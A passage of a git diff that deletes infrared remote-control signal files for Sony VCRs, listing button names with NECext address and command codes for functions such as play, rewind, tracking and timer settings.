-address: 02 00 00 00 -command: 20 00 00 00 -# -name: HUE- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: SHARP+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: JOG_1/5_SPEED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: BAL_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: BAL_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: SEARCH- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: SEARCH+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: ANT/VCR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: JOG- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: JOG+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: JOG_1_SPEED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3B 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3D 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: INPUT1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 40 00 00 00 -# -name: INPUT2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: INPUT5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: INPUT6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 46 00 00 00 -# -name: INPUT8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 47 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 49 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4E 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: DATA_SCREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 60 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 -# -name: TIMER_CLEAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 63 00 00 00 -# -name: ASC -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 64 00 00 00 -# -name: TIMER_ON/OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 65 00 00 00 -# -name: AUTOPROG -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 68 00 00 00 -# -name: CH_AUTO_PGM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 6B 00 00 00 -# -name: AV+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 74 00 00 00 -# -name: AV- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 75 00 00 00 -# -name: CH_ADD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 78 00 00 00 -# -name: CH_DEL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 79 00 00 00 -# -name: HIGH_SPEED_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7D 00 00 00 -# -name: JOG_END -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir deleted file mode 100644 index 2ad97aebc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir deleted file mode 100644 index 575d039e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir deleted file mode 100644 index 0269e2abb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir +++ /dev/null @@ -1,1094 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CHNL_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_-- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CHNL_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: (SCAN)_X2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 16 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1A 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1D 00 00 00 -# -name: REORD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1D 00 00 00 -# -name: RECORD_STANDBY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1E 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 23 00 00 00 -# -name: TRACKING_AUTO/MANUAL -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: AUTO/MANUAL_TRACKING -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: TRACKING_AUTO/MAN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: INDEX_RR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: INDEX_FF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 -# -name: POWER_ON_VTR_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF_VTR_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2F 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: <<_FRAME -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: REVERSE_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: REVERSE_1/5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: REVERSE_X2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: FRAME_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 30 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: >>_FRAME -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: FRAME_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: FORWARD_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: FORWARD_1/5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: FORWARD_X2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: FRAME_> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 33 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3D 00 00 00 -# -name: TRACKING_SPEED_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3D 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3D 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3E 00 00 00 -# -name: TRACKING_SPEED_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3E 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3E 00 00 00 -# -name: COUNTER/REMAIN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: COUNTER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: STILL_ADJUST_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: TRACKING_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: TRACKING_SLOW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: STILL_ADJUST_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: TRACKING_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: TRACKING_NORMAL -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 46 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 48 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 49 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 -# -name: INPUT_TOGGLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 51 00 00 00 -# -name: NAV_OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 51 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 51 00 00 00 -# -name: QUICK_TIMER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 52 00 00 00 -# -name: INDEX_SEARCH_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_FORWARD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: INDEX_SEARCH_< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: INDEX_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: INDEX_SEARCH_BACK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: INDEX_SEARCH_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 58 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 58 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 58 00 00 00 -# -name: TAPE_RETURN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 59 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5A 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5D 00 00 00 -# -name: SMART_CUE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5D 00 00 00 -# -name: SMART_QUE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5D 00 00 00 -# -name: COMMERCIAL_PASS -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5D 00 00 00 -# -name: COMM_PASS -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 -# -name: TIMER_REC_CLEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: TIMER_CLEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: CEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: CLEAR_(TIMER) -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: TIMER_REC_ON/OFF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 65 00 00 00 -# -name: ON/OFF_(TIMER) -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 65 00 00 00 -# -name: TIMER_ON/OFF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 65 00 00 00 -# -name: INSERT_AUDIO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 68 00 00 00 -# -name: INSERT_VIDEO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 69 00 00 00 -# -name: HIGH_SPEED_REWIND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7D 00 00 00 -# -name: HI-SPEED_REWIND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir deleted file mode 100644 index 98174db6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 2A 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 2A 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 2B 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 35 00 00 00 -# -name: INPUT_1_VTR_1 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 35 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 36 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 37 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 38 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 3C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 43 00 00 00 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS+ -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS:_ONCE -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 61 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 61 00 00 00 -# -name: VCR_PLUS:_DAILY -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 62 00 00 00 -# -name: VCR_PLUS:_WEEKLY -type: parsed -protocol: NECext -address: B4 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir deleted file mode 100644 index 6c9186ba7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 35 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 36 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 37 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 38 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 3C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 43 00 00 00 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS+ -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS:_ONCE -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 61 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 61 00 00 00 -# -name: VCR_PLUS:_DAILY -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 62 00 00 00 -# -name: VCR_PLUS:_WEEKLY -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir deleted file mode 100644 index 9c844b5f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals 